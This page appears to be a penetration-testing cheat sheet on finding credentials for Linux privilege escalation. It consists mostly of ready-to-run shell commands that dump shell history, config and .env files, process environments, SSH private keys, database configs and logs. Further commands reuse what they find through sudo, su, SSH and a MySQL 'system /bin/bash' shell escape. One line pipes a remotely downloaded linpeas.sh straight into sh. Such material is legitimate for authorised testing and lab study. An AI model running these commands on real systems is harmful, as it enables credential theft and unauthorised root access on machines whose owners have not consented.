Skip to content
HackIndex logo

HackIndex

Credential Hunting for Linux Privilege Escalation

5 min read Jul 14, 2026

Credentials left on disk are one of the most reliable escalation paths. Passwords in config files, history files, and environment variables frequently belong to root or a higher-privileged user. No exploit required — find the credential, authenticate, done.

Prerequisites Check

Confirm your current user and what you can read:

user@host ~ $ id
user@host ~ $ whoami

A low-privilege user can still read world-readable files, files in their home directory, and files owned by their group. Check your group memberships — adm group gets log access, docker group gets socket access. See https://hackindex.io/platforms/linux/privilege-escalation/group-based-privilege-escalation.

Shell History Files

The first place to look. Users frequently run commands with passwords inline:

user@host ~ $ cat ~/.bash_history 2>/dev/null
user@host ~ $ cat ~/.zsh_history 2>/dev/null
user@host ~ $ cat ~/.sh_history 2>/dev/null
user@host ~ $ cat ~/.history 2>/dev/null
user@host ~ $ cat ~/.mysql_history 2>/dev/null
user@host ~ $ cat ~/.psql_history 2>/dev/null
user@host ~ $ cat ~/.python_history 2>/dev/null

Check history files for all users if readable:

user@host ~ $ find /home /root -name ".*history" -readable 2>/dev/null | xargs cat 2>/dev/null

Look for patterns indicating credentials were passed on the command line:

user@host ~ $ grep -iE "password|passwd|pass|secret|token|key|mysql|psql|ftp|ssh" ~/.bash_history 2>/dev/null

Config Files

Application config files are the most consistent source of credentials in labs and real environments:

user@host ~ $ # Web application configs
user@host ~ $ find /var/www /srv /opt -name "*.conf" -o -name "*.config" -o -name "*.cfg" -o -name "*.ini" -o -name "*.php" -o -name "*.env" 2>/dev/null | xargs grep -lE "password|passwd|secret|db_pass|DB_PASS" 2>/dev/null
 
user@host ~ $ # System-wide configs
user@host ~ $ grep -rE "password|passwd|secret" /etc/ 2>/dev/null | grep -v "^Binary" | grep -v "#"
 
user@host ~ $ # Common high-value locations
user@host ~ $ cat /etc/mysql/my.cnf 2>/dev/null
user@host ~ $ cat /etc/mysql/debian.cnf 2>/dev/null
user@host ~ $ cat /var/www/html/wp-config.php 2>/dev/null
user@host ~ $ cat /var/www/html/config.php 2>/dev/null
user@host ~ $ cat /var/www/html/.env 2>/dev/null
user@host ~ $ find / -name "database.yml" -o -name "database.php" -o -name "settings.py" -o -name "config.py" 2>/dev/null | xargs cat 2>/dev/null

Environment Variables

Running processes and shell sessions may have credentials in environment variables:

user@host ~ $ # Current environment
user@host ~ $ env
user@host ~ $ printenv
 
user@host ~ $ # Check /proc for other processes' environments (readable on some systems)
user@host ~ $ cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE "password|passwd|secret|token|key|api"

.env files are common in web applications and contain plaintext credentials:

user@host ~ $ find / -name ".env" -readable 2>/dev/null | xargs cat 2>/dev/null
user@host ~ $ find / -name "*.env" -readable 2>/dev/null | xargs grep -iE "password|secret|key|token" 2>/dev/null

SSH Private Keys

A readable SSH private key for root or another user is an immediate escalation path:

user@host ~ $ # Find all private keys
user@host ~ $ find / -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" -o -name "id_dsa" 2>/dev/null
user@host ~ $ find / -name "*.pem" -o -name "*.key" 2>/dev/null | grep -v "^/usr\|^/lib\|^/boot"
 
user@host ~ $ # Check if readable
user@host ~ $ find /home /root /etc /opt -name "id_rsa" -readable 2>/dev/null
user@host ~ $ find /home /root /etc /opt -name "id_ed25519" -readable 2>/dev/null

Read the key and check for a passphrase — unencrypted keys (no Proc-Type: 4,ENCRYPTED line) are immediately usable:

user@host ~ $ cat /home/user/.ssh/id_rsa
user@host ~ $ head -3 /home/user/.ssh/id_rsa

Use against the target:

user@host ~ $ chmod 600 /tmp/found_key
user@host ~ $ ssh -i /tmp/found_key root@localhost
user@host ~ $ ssh -i /tmp/found_key root@$TARGET_IP

Check authorized_keys — it reveals which users can authenticate and from where:

user@host ~ $ find / -name "authorized_keys" -readable 2>/dev/null | xargs cat 2>/dev/null

Database Credentials

Database config files almost always contain credentials. Test them against local and remote services:

user@host ~ $ # MySQL / MariaDB
user@host ~ $ cat /etc/mysql/debian.cnf 2>/dev/null # Often contains debian-sys-maint password
user@host ~ $ cat ~/.my.cnf 2>/dev/null
user@host ~ $ find / -name "my.cnf" -readable 2>/dev/null | xargs cat 2>/dev/null
 
user@host ~ $ # Connect with found credentials
user@host ~ $ mysql -u root -p'FOUNDPASSWORD' -e "select user,authentication_string from mysql.user;"
user@host ~ $ mysql -u root -p'FOUNDPASSWORD' -e "system /bin/bash"
 
user@host ~ $ # PostgreSQL
user@host ~ $ cat /etc/postgresql/*/main/pg_hba.conf 2>/dev/null
user@host ~ $ find / -name "pgpass" -o -name ".pgpass" 2>/dev/null | xargs cat 2>/dev/null
 
user@host ~ $ # MongoDB
user@host ~ $ cat /etc/mongodb.conf 2>/dev/null
user@host ~ $ cat /etc/mongod.conf 2>/dev/null

System and Application Logs

Logs capture credentials when they are passed incorrectly — failed su attempts with the password in the username field, application startup logs with connection strings, debug logs:

user@host ~ $ grep -iE "password|passwd|secret" /var/log/auth.log 2>/dev/null | tail -50
user@host ~ $ grep -iE "password|passwd|secret" /var/log/syslog 2>/dev/null | tail -50
user@host ~ $ find /var/log -readable -type f 2>/dev/null | xargs grep -lE "password|passwd|secret" 2>/dev/null

adm group membership gives full log access. See https://hackindex.io/platforms/linux/privilege-escalation/group-based-privilege-escalation.

Systemd Service Credentials

Systemd units frequently store credentials in Environment= lines or EnvironmentFile= paths:

user@host ~ $ grep -r "Environment=.*pass\|Environment=.*secret\|Environment=.*key" /etc/systemd/system/ /lib/systemd/system/ 2>/dev/null
user@host ~ $ grep -r "EnvironmentFile=" /etc/systemd/system/ /lib/systemd/system/ 2>/dev/null | xargs -I{} sh -c 'cat {}' 2>/dev/null

Scripts and Backup Files

Backup files and scripts left in web roots or home directories often contain credentials from previous configurations:

user@host ~ $ # Backup files with credentials
user@host ~ $ find / -name "*.bak" -o -name "*.backup" -o -name "*.old" -o -name "*.orig" -o -name "*.save" 2>/dev/null | grep -v "^/usr\|^/lib\|^/boot\|^/proc" | xargs grep -lE "password|passwd|secret" 2>/dev/null
 
user@host ~ $ # Scripts
user@host ~ $ find /opt /usr/local /home /var/www -name "*.sh" -readable 2>/dev/null | xargs grep -lE "password|passwd|secret|token" 2>/dev/null

Password Reuse

Once you find any credential, test it against everything:

user@host ~ $ # Test against sudo
user@host ~ $ echo "FOUNDPASSWORD" | sudo -S id
 
user@host ~ $ # Test against su for root
user@host ~ $ su root <<< "FOUNDPASSWORD"
# Test against other local users
su $OTHER_USER <<< "FOUNDPASSWORD"
# Test against SSH
ssh root@localhost -p 22
# Test against database services
mysql -u root -p'FOUNDPASSWORD'

Password reuse across services and users is extremely common in lab environments. A single MySQL password frequently also works for su, SSH, or sudo.

LinPEAS covers most of these automatically. Run it first, then manually check anything it highlights:

user@host ~ $ # LinPEAS covers history, configs, keys, and env files
user@host ~ $ curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

For a focused manual search combining all common patterns:

user@host ~ $ grep -rniE "password\s*=|passwd\s*=|pwd\s*=|secret\s*=|api_key\s*=" /home /opt /var/www /etc /tmp 2>/dev/null | grep -v "^Binary\|^/proc\|^/sys\|#.*password" | grep -v ".pyc" | head -50

See https://hackindex.io/platforms/linux/privilege-escalation/privilege-escalation-enumeration-tools for full enumeration tool coverage.

References